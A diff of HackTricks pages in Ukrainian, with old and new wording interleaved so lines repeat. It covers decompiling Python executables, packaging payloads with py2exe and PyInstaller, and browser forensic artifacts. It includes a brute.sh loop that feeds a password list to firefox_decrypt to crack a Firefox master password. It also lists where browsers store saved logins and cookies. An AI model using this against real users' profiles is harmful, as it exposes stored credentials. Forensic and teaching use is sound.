Звичайна проблема, з якою стикаються, пов'язана з неповним файлом байт-коду Python, що виникає внаслідок **процесу розпакування з unpy2exe або pyinstxtractor**, який потім **не розпізнається uncompyle6 через відсутній номер версії байт-коду Python**. Щоб вирішити цю проблему, було додано опцію prepend, яка додає необхідний номер версії байт-коду Python, полегшуючи процес декомпіляції.
Приклад проблеми:
```python
@ -114,9 +115,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
# Successfully decompiled file
[+] Successfully decompiled.
```
## Аналізування асемблеру Python
## Аналіз python assembly
Якщо вам не вдалося видобути "оригінальний" код Python за попередніми кроками, то ви можете спробувати **видобути** **асемблер** Python (але він **не дуже описовий**, тому спробуйте **ще раз** видобути оригінальний код). В [цьому місці](https://bits.theorem.co/protecting-a-python-codebase/) я знайшов дуже простий код для **дизасемблювання** бінарного файлу _.pyc_ (бажаю успіху у розумінні потоку коду). Якщо _.pyc_ належить до Python2, використовуйте python2:
If you weren't able to extract the python "original" code following the previous steps, then you can try to **extract** the **assembly** (but i**t isn't very descriptive**, so **try** to extract **again** the original code).In [here](https://bits.theorem.co/protecting-a-python-codebase/) I found a very simple code to **disassemble** the _.pyc_ binary (good luck understanding the code flow). If the _.pyc_ is from python2, use python2:
```bash
>>> import dis
>>> import marshal
@ -159,15 +160,15 @@ True
14 LOAD_CONST 0 (None)
17 RETURN_VALUE
```
## Python до виконуваного файлу
## Python to Executable
Для початку ми покажемо вам, як навантаження можуть бути скомпільовані в py2exe та PyInstaller.
Щоб почати, ми покажемо вам, як вантажі можуть бути скомпільовані в py2exe та PyInstaller.
### Для створення навантаження за допомогою py2exe:
### Щоб створити вантаж за допомогою py2exe:
1. Встановіть пакет py2exe з [http://www.py2exe.org/](http://www.py2exe.org)
2. Для навантаження (у цьому випадку ми назвемо його hello.py), використовуйте скрипт, схожий на той, що в Підказці 1. Опція "bundle\_files" зі значенням 1 збере все, включаючи інтерпретатор Python, в один exe-файл.
3. Як тільки скрипт буде готовий, ми введемо команду "python setup.py py2exe". Це створить виконуваний файл, як показано на Підказці 2.
2. Для вантажу (в цьому випадку ми назвемо його hello.py) використовуйте скрипт, подібний до того, що на Рисунку 1. Опція “bundle\_files” зі значенням 1 об'єднає все, включаючи інтерпретатор Python, в один exe.
3. Коли скрипт буде готовий, ми виконаємо команду “python setup.py py2exe”. Це створить виконуваний файл, так само як на Рисунку 2.
```python
from distutils.core import setup
import py2exe, sys, os
@ -195,10 +196,10 @@ running py2exe
copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
```
### Для створення вантажу за допомогою PyInstaller:
### Щоб створити корисне навантаження за допомогою PyInstaller:
1. Встановіть PyInstaller за допомогою pip (pip install pyinstaller).
2. Після цього видаємо команду "pyinstaller --onefile hello.py" (нагадуємо, що 'hello.py' - це наш вантаж). Це збере все в один виконуваний файл.
2. Після цього ми виконаємо команду “pyinstaller onefile hello.py” (нагадування, що hello.py - це наше корисне навантаження). Це об'єднає все в один виконуваний файл.
```
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
108 INFO: PyInstaller: 3.3.1
@ -211,26 +212,27 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe
6325 INFO: Building EXE from out00-EXE.toc completed successfully.
```
## Посилання
## References
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Підказка щодо винагороди за виявлення помилок**: **зареєструйтесь** на **Intigriti**, преміальній **платформі для винагород за виявлення помилок, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні, і почніть заробляти винагороди до **$100,000**!
**Bug bounty tip**: **зареєструйтесь** на **Intigriti**, преміум **платформі для баг-баунті, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні та почніть заробляти винагороди до **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити свою **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,78 +1,81 @@
# Артефакти браузера
# Browser Artifacts
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів** за допомогою найбільш **продвинутих** інструментів спільноти у світі.\
Отримайте доступ сьогодні:
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %}
## Артефакти браузера <a href="#id-3def" id="id-3def"></a>
## Browsers Artifacts <a href="#id-3def" id="id-3def"></a>
Артефакти браузера включають різні типи даних, збережених веб-браузерами, такі як історія навігації, закладки та кеш-дані. Ці артефакти зберігаються в конкретних папках в операційній системі, відрізняючись за місцем та назвою в різних браузерах, але загалом зберігають схожі типи даних.
Артефакти браузера включають різні типи даних, збережених веб-браузерами, такі як історія навігації, закладки та кешовані дані. Ці артефакти зберігаються в специфічних папках в операційній системі, які відрізняються за місцем розташування та назвою в різних браузерах, але зазвичай зберігають подібні типи даних.
Ось краткий огляд найпоширеніших артефактів браузера:
Ось короткий огляд найпоширеніших артефактів браузера:
* **Історія навігації**: Відстежує відвідування користувачем веб-сайтів, корисно для виявлення відвідування шкідливих сайтів.
* **Дані автозаповнення**: Пропозиції на основі частих пошуків, надаючи уявлення, коли поєднано з історією навігації.
* **Історія навігації**: Відстежує відвідування користувачем веб-сайтів, корисно для ідентифікації відвідувань шкідливих сайтів.
* **Дані автозаповнення**: Пропозиції на основі частих пошуків, що надають інформацію в поєднанні з історією навігації.
* **Закладки**: Сайти, збережені користувачем для швидкого доступу.
* **Розширення та додатки**: Розширення браузера або додатки, встановлені користувачем.
* **Кеш**: Зберігає веб-контент (наприклад, зображення, файли JavaScript) для покращення часу завантаження веб-сайтів, цінне для судового аналізу.
* **Кеш**: Зберігає веб-контент (наприклад, зображення, файли JavaScript), щоб покращити час завантаження веб-сайтів, цінно для судової експертизи.
* **Логіни**: Збережені облікові дані для входу.
* **Фавікони**: Іконки, пов'язані з веб-сайтами, які з'являються во вкладках та закладках, корисні для додаткової інформації про відвідування користувача.
* **Фавіконки**: Іконки, пов'язані з веб-сайтами, що з'являються на вкладках і в закладках, корисні для додаткової інформації про відвідування користувача.
* **Сесії браузера**: Дані, пов'язані з відкритими сесіями браузера.
* **Завантаження**: Записи про файли, завантажені через браузер.
* **Дані форми**: Інформація, введена в веб-форми, збережена для майбутніх пропозицій автозаповнення.
* **Мініатюри**: Зображення попереднього перегляду веб-сайтів.
* **Завантаження**: Записи файлів, завантажених через браузер.
* **Дані форм**: Інформація, введена у веб-форму, збережена для майбутніх пропозицій автозаповнення.
* **Ескізи**: Попередні зображення веб-сайтів.
* **Custom Dictionary.txt**: Слова, додані користувачем до словника браузера.
## Firefox
Firefox організовує дані користувача в межах профілів, збережених в конкретних місцях в залежності від операційної системи:
Firefox організовує дані користувача в профілях, які зберігаються в специфічних місцях залежно від операційної системи:
* **Linux**: `~/.mozilla/firefox/`
* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
* **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
Файл `profiles.ini` в цих каталогах містить список профілів користувача. Дані кожного профілю зберігаються в папці, названій змінною `Path` в `profiles.ini`, розташованій в тому ж каталозі, що і сам `profiles.ini`. Якщо папка профілю відсутня, її можуть бути видалено.
Файл `profiles.ini` в цих каталогах містить список профілів користувача. Дані кожного профілю зберігаються в папці, назва якої вказана в змінній `Path` у `profiles.ini`, розташованій в тому ж каталозі, що й `profiles.ini`. Якщо папка профілю відсутня, вона могла бути видалена.
У кожній папці профілю можна знайти кілька важливих файлів:
У кожній папці профілю ви можете знайти кілька важливих файлів:
* **places.sqlite**: Зберігає історію, закладки та завантаження. Інструменти, такі як [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) на Windows, можуть отримати доступ до даних історії.
* Використовуйте конкретні SQL-запити для вилучення інформації про історію та завантаження.
* Використовуйте специфічні SQL-запити для витягування інформації про історію та завантаження.
* **bookmarkbackups**: Містить резервні копії закладок.
* **formhistory.sqlite**: Зберігає дані веб-форми.
* **handlers.json**: Управляє обробниками протоколів.
* **persdict.dat**: Слова користувача власного словника.
* **formhistory.sqlite**: Зберігає дані веб-форм.
* **handlers.json**: Керує обробниками протоколів.
* **persdict.dat**: Слова з користувацького словника.
* **addons.json** та **extensions.sqlite**: Інформація про встановлені додатки та розширення.
* **cookies.sqlite**: Зберігання куки, з [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) доступним для перегляду на Windows.
* **cookies.sqlite**: Зберігання куків, з [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) доступним для перевірки на Windows.
* **cache2/entries** або **startupCache**: Дані кешу, доступні через інструменти, такі як [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html).
* **favicons.sqlite**: Зберігає фавікони.
* **prefs.js**: Налаштування та вподобання користувача.
* **favicons.sqlite**: Зберігає фавіконки.
* **prefs.js**: Налаштування та переваги користувача.
* **downloads.sqlite**: Стара база даних завантажень, тепер інтегрована в places.sqlite.
* **thumbnails**: Мініатюри веб-сайтів.
* **thumbnails**: Ескізи веб-сайтів.
* **logins.json**: Зашифрована інформація для входу.
* **key4.db** або **key3.db**: Зберігає ключі шифрування для захисту чутливої інформації.
Додатково, перевірку налаштувань анти-фішингу браузера можна виконати, шукаючи записи `browser.safebrowsing` в `prefs.js`, що вказує, чи ввімкнені або вимкнені функції безпечного перегляду.
Крім того, перевірити налаштування антифішингу браузера можна, шукаючи записи `browser.safebrowsing` у `prefs.js`, що вказує, чи увімкнено або вимкнено функції безпечного перегляду.
Для спроби розшифрувати головний пароль, ви можете використовувати [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
З наступним скриптом та викликом ви можете вказати файл паролю для перебору:
Щоб спробувати розшифрувати майстер-пароль, ви можете використовувати [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
З наступним скриптом і викликом ви можете вказати файл паролів для брутфорсу:
{% code title="brute.sh" %}
```bash
#!/bin/bash
@ -83,90 +86,94 @@ echo "Trying $pass"
echo "$pass" | python firefox_decrypt.py
done < $passfile
```
{% endcode %}
![](<../../../.gitbook/assets/image (692).png>)
## Google Chrome
Google Chrome зберігає профілі користувачів у конкретних місцях в залежності від операційної системи:
Google Chrome зберігає профілі користувачів у специфічних місцях залежно від операційної системи:
* **Linux**: `~/.config/google-chrome/`
* **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
* **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
У цих каталогах більшість даних користувача можна знайти у папках **Default/** або **ChromeDefaultData/**. Наступні файли містять значущі дані:
У цих каталогах більшість даних користувача можна знайти у папках **Default/** або **ChromeDefaultData/**. Наступні файли містять значні дані:
* **Історія**: Містить URL-адреси, завантаження та ключові слова пошуку. На Windows можна використовувати [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) для перегляду історії. Стовпець "Transition Type" має різні значення, включаючи кліки користувача на посилання, введені URL-адреси, відправлення форм та перезавантаження сторінок.
* **Cookies**: Зберігає файли cookie. Для перевірки доступний [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html).
* **Кеш**: Містить кешовані дані. Для перевірки користувачі Windows можуть використовувати [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html).
* **Закладки**: Закладки користувача.
* **History**: Містить URL-адреси, завантаження та ключові слова пошуку. На Windows можна використовувати [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) для читання історії. Стовпець "Transition Type" має різні значення, включаючи кліки користувача на посилання, введені URL-адреси, відправлення форм та перезавантаження сторінок.
* **Cookies**: Зберігає куки. Для перевірки доступний [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html).
* **Cache**: Містить кешовані дані. Для перевірки користувачі Windows можуть використовувати [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html).
* **Bookmarks**: Закладки користувача.
* **Web Data**: Містить історію форм.
* **Favicons**: Зберігає значки веб-сайтів.
* **Login Data**: Включає дані для входу, такі як імена користувачів та паролі.
* **Поточна сесія**/**Поточні вкладки**: Дані про поточну сесію перегляду та відкриті вкладки.
* **Остання сесія**/**Останні вкладки**: Інформація про активні сайти під час останньої сесії перед закриттям Chrome.
* **Розширення**: Каталоги для розширень та додатків браузера.
* **Мініатюри**: Зберігає мініатюри веб-сайтів.
* **Preferences**: Файл, що містить багато інформації, включаючи налаштування для плагінів, розширень, спливаючих вікон, сповіщень та іншого.
* **Вбудований анти-фішинг браузера**: Щоб перевірити, чи увімкнено анти-фішинг та захист від шкідливих програм, виконайте `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Шукайте `{"enabled: true,"}` у виводі.
* **Favicons**: Зберігає фавіконки веб-сайтів.
* **Login Data**: Включає облікові дані для входу, такі як імена користувачів та паролі.
* **Current Session**/**Current Tabs**: Дані про поточну сесію перегляду та відкриті вкладки.
* **Last Session**/**Last Tabs**: Інформація про сайти, активні під час останньої сесії перед закриттям Chrome.
* **Extensions**: Каталоги для розширень браузера та аддонів.
* **Thumbnails**: Зберігає ескізи веб-сайтів.
* **Preferences**: Файл, багатий на інформацію, включаючи налаштування для плагінів, розширень, спливаючих вікон, сповіщень та інше.
* **Browsers built-in anti-phishing**: Щоб перевірити, чи увімкнено захист від фішингу та шкідливого ПЗ, виконайте `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Шукайте `{"enabled: true,"}` у виході.
## **Відновлення даних з бази даних SQLite**
## **SQLite DB Data Recovery**
Як можна побачити в попередніх розділах, як Chrome, так і Firefox використовують бази даних **SQLite** для зберігання даних. Можливо **відновити видалені записи за допомогою інструменту** [**sqlparse**](https://github.com/padfoot999/sqlparse) **або** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
Як ви можете спостерігати в попередніх розділах, як Chrome, так і Firefox використовують **SQLite** бази даних для зберігання даних. Можливо **відновити видалені записи за допомогою інструменту** [**sqlparse**](https://github.com/padfoot999/sqlparse) **або** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
## **Internet Explorer 11**
Internet Explorer 11 керує своїми даними та метаданими в різних місцях, що допомагає в розділенні збережених інформації та відповідних деталей для легкого доступу та управління.
Internet Explorer 11 управляє своїми даними та метаданими в різних місцях, що допомагає розділити збережену інформацію та відповідні деталі для легкого доступу та управління.
### Зберігання метаданих
### Metadata Storage
Метадані для Internet Explorer зберігаються в `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (з VX, яке може бути V01, V16 або V24). Крім цього, файл `V01.log` може показувати розбіжності часу модифікації з `WebcacheVX.data`, що вказує на необхідність виправлення за допомогою `esentutl /r V01 /d`. Ці метадані, розміщені в базі даних ESE, можна відновити та перевірити за допомогою інструментів, таких як photorec та [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html). У таблиці **Containers** можна визначити конкретні таблиці або контейнери, де зберігається кожний сегмент даних, включаючи деталі кешу для інших інструментів Microsoft, таких як Skype.
Метадані для Internet Explorer зберігаються в `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (з VX, що є V01, V16 або V24). У супроводі цього файл `V01.log` може показувати розбіжності в часі модифікації з `WebcacheVX.data`, що вказує на необхідність ремонту за допомогою `esentutl /r V01 /d`. Ці метадані, що містяться в базі даних ESE, можна відновити та перевірити за допомогою таких інструментів, як photorec та [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html). У таблиці **Containers** можна розрізнити специфічні таблиці або контейнери, де зберігається кожен сегмент даних, включаючи деталі кешу для інших інструментів Microsoft, таких як Skype.
### Перевірка кешу
### Cache Inspection
Інструмент [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) дозволяє перевіряти кеш, вимагаючи розташування папки для видобутку даних кешу. Метадані для кешу включають ім'я файлу, каталог, кількість доступів, початковий URL та мітки часу, що вказують на час створення, доступу, модифікації та закінчення кешу.
Інструмент [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) дозволяє перевіряти кеш, вимагаючи місцезнаходження папки для витягування даних кешу. Метадані для кешу включають ім'я файлу, каталог, кількість доступів, URL-адресу походження та часові мітки, що вказують на час створення, доступу, модифікації та закінчення терміну дії кешу.
### Управління файлами cookie
### Cookies Management
Файли cookie можна дослідити за допомогою [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), а метадані включають імена, URL-адреси, кількість доступів та різні часові деталі. Постійні файли cookie зберігаються в `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, а сеансові файли cookie знаходяться в пам'яті.
Куки можна досліджувати за допомогою [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), з метаданими, що охоплюють імена, URL-адреси, кількість доступів та різні часові деталі. Постійні куки зберігаються в `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, а сесійні куки знаходяться в пам'яті.
### Деталі завантажень
### Download Details
Метадані завантажень доступні за допомогою [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), і конкретні контейнери містять дані, такі як URL-адреса, тип файлу та місце завантаження. Фізичні файли можна знайти в `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
Метадані завантажень доступні через [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), з конкретними контейнерами, що містять дані, такі як URL, тип файлу та місце завантаження. Фізичні файли можна знайти в `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
### Історія перегляду
### Browsing History
Для перегляду історії перегляду можна використовувати [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html), вимагаючи розташування видобутих файлів історії та налаштування для Internet Explorer. Тут метадані включають часи модифікації та доступу, а також кількість доступів. Файли історії розташовані в `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
Щоб переглянути історію перегляду, можна використовувати [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html), вимагаючи місцезнаходження витягнутих файлів історії та конфігурації для Internet Explorer. Метадані тут включають час модифікації та доступу, а також кількість доступів. Файли історії розташовані в `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
### Введені URL-адреси
### Typed URLs
Введені URL-адреси та час їх використання зберігаються в реєстрі під `NTUSER.DAT` за адресою `Software\Microsoft\InternetExplorer\TypedURLs` та `Software\Microsoft\InternetExplorer\TypedURLsTime`, відстежуючи останні 50 URL-адрес, введених користувачем, та їх часи останнього введення.
Введені URL-адреси та їх час використання зберігаються в реєстрі під `NTUSER.DAT` за адресами `Software\Microsoft\InternetExplorer\TypedURLs` та `Software\Microsoft\InternetExplorer\TypedURLsTime`, відстежуючи останні 50 URL-адрес, введених користувачем, та їх останні часи введення.
## Microsoft Edge
Microsoft Edge зберігає дані користувачів у `%userprofile%\Appdata\Local\Packages`. Шляхи для різних типів даних такі:
Microsoft Edge зберігає дані користувачів у `%userprofile%\Appdata\Local\Packages`. Шляхи для різних типів даних:
* **Шлях профілю**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
* **Історія, Cookies та Завантаження**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
* **Налаштування, Закладки та Список для читання**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
* **Кеш**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
* **Останні активні сесії**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
* **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
* **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
* **Settings, Bookmarks, and Reading List**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
* **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
* **Last Active Sessions**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
## Safari
Дані Safari зберігаються в `/Users/$User/Library/Safari`. Основні файли включають:
Дані Safari зберігаються за адресою `/Users/$User/Library/Safari`. Ключові файли включають:
* **History.db**: Містить таблиці `history_visits` та `history_items` з URL-адресами та часами відвідувань. Використовуйте `sqlite3` для запитів.
* **History.db**: Містить таблиці `history_visits` та `history_items` з URL-адресами та часовими мітками відвідувань. Використовуйте `sqlite3` для запитів.
* **Downloads.plist**: Інформація про завантажені файли.
* **Bookmarks.plist**: Зберігає URL-адреси закладок.
* **Bookmarks.plist**: Зберігає закладені URL-адреси.
* **TopSites.plist**: Найчастіше відвідувані сайти.
* **Extensions.plist**: Список розширень браузера Safari. Використовуйте `plutil` або `pluginkit` для отримання.
* **UserNotificationPermissions.plist**: Домени, яким дозволено надсилати сповіщення. Використовуйте `plutil` для аналізу.
* **LastSession.plist**: Вкладки з останньої сесії. Використовуйте `plutil` для аналізу.
* **Вбудований анти-фішинг браузера**: Перевірте за допомогою `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Відповідь 1 вказує на активність функції.
* **UserNotificationPermissions.plist**: Доменні імена, яким дозволено надсилати сповіщення. Використовуйте `plutil` для парсингу.
* **LastSession.plist**: Вкладки з останньої сесії. Використовуйте `plutil` для парсингу.
* **Browsers built-in anti-phishing**: Перевірте за допомогою `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Відповідь 1 вказує на те, що функція активна.
## Opera
Дані Opera розташовані в `/Users/$USER/Library/Application Support/com.operasoftware.Opera` та мають формат історії та завантажень, схожий на Chrome.
Дані Opera знаходяться в `/Users/$USER/Library/Application Support/com.operasoftware.Opera` і використовують формат Chrome для історії та завантажень.
* **Вбудований анти-фішинг браузера**: Перевірте, чи параметр `fraud_protection_enabled` в файлі Preferences встановлено на `true` за допомогою `grep`.
* **Browsers built-in anti-phishing**: Перевірте, чи `fraud_protection_enabled` у файлі Preferences встановлено на `true`, використовуючи `grep`.
Ці шляхи та команди є важливими для доступу та розуміння даних перегляду, збережених різними веб-браузерами.
@ -175,21 +182,26 @@ Microsoft Edge зберігає дані користувачів у `%userprofi
* [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
* [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
* [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file)
* **Книга: OS X Incident Response: Scripting and Analysis By Jaron Bradley стор. 123**
* **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів** за допомогою найбільш розвинутих інструментів спільноти у світі.\
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) для легкого створення та **автоматизації робочих процесів**, підтримуваних **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %}
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
